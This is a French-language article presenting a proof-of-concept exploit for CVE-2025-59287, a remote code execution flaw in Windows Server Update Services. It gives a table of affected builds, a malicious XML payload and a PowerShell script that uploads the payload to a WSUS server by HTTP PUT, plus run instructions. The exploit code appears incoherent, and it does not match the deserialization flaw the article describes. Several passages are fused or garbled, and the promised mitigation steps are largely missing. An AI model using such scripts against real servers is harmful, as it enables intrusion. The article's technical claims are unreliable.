
Analyse technique et preuve de concept pour CVE-2025-59287, une RCE critique dans Windows Server Update Services via une désérialisation non sécurisée, incluant les builds concernés et les étapes d’atténuation.
CVE-2025-59287 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Windows Server Update Services (WSUS), causée par une désérialisation non sécurisée de données non fiables. Elle permet à des attaquants distants d'exécuter du code arbitraire sans authentification. Un correctif urgent est recommandé en raison d'une exploitation active.
CVE‑2025‑59287 – Une menace d'exécution de code à distance dans Windows Server Update Services (WSUS)
Par Mark Mallia
Windows Server Update Services (WSUS) de Microsoft est la pierre angulaire de la gestion des correctifs pour chaque plateforme Windows Server de Microsoft. Il récupère les mises à jour depuis le catalogue de mises à jour de Microsoft, les valide, puis les transmet à tous les serveurs d'un réseau. La vulnérabilité identifiée sous le nom de CVE‑2025‑59287 exploite une routine de désérialisation non sécurisée dans WSUS qui permet à un attaquant d'injecter du contenu XML arbitraire dans le flux de mises à jour. Étant donné que WSUS traite la charge utile sans aucune validation du chemin source ou des données de commande, un attaquant peut fournir n'importe quel nom de fichier et chemin, provoquant une exécution complète de code à distance sur le serveur cible.
Pourquoi c'est important :
| Version du produit | Builds concernés |
|---|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(Si votre environnement utilise un build de correctif différent, ajustez simplement la plage en conséquence.)
System.Xml.Linq.XElement.<SourcePath> ; cette valeur est écrite sur le disque en tant que chemin absolu.<Command> est exécuté par PowerShell lorsque WSUS traite le flux, offrant une exécution complète de code à distance.Voici la charge utile XML que nous allons téléverser sur un serveur vulnérable.
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
### Un exemple de script d'exploit PowerShell
Le script suivant générera la charge utile XML, la téléversera via HTTP PUT vers votre instance WSUS, et laissera un fichier journal pour le dépannage.
# --------------------------------------------------
# File: wsus‑exploit.ps1
# Purpose: Generate malicious UpdateStream.xml,
# upload it to the WSUS server,
# trigger the feed.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# Build the XML payload
Build-Xml -file $XmlFile
# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload complete – WSUS should now process the stream."
winver.exe sur chaque Windows Server pour confirmer que le build se situe dans les plages ci-dessus.wsus‑exploit.ps1 sur une machine pouvant atteindre votre instance WSUS, modifiez $TargetUrl si vous utilisez un chemin ou un port différent.C:\Windows\System32\cmd.exe apparaît sur chaque serveur cible et qu'il contient la charge utile attendue.Les informations et le code d'exploit fournis ici le sont à des fins éducatives uniquement. Assurez-vous d'avoir l'autorisation d'exécuter ce test contre votre propre environnement WSUS, et suivez toutes les directives de bonnes pratiques de sécurité applicables lors du déploiement de modifications sur des systèmes de production.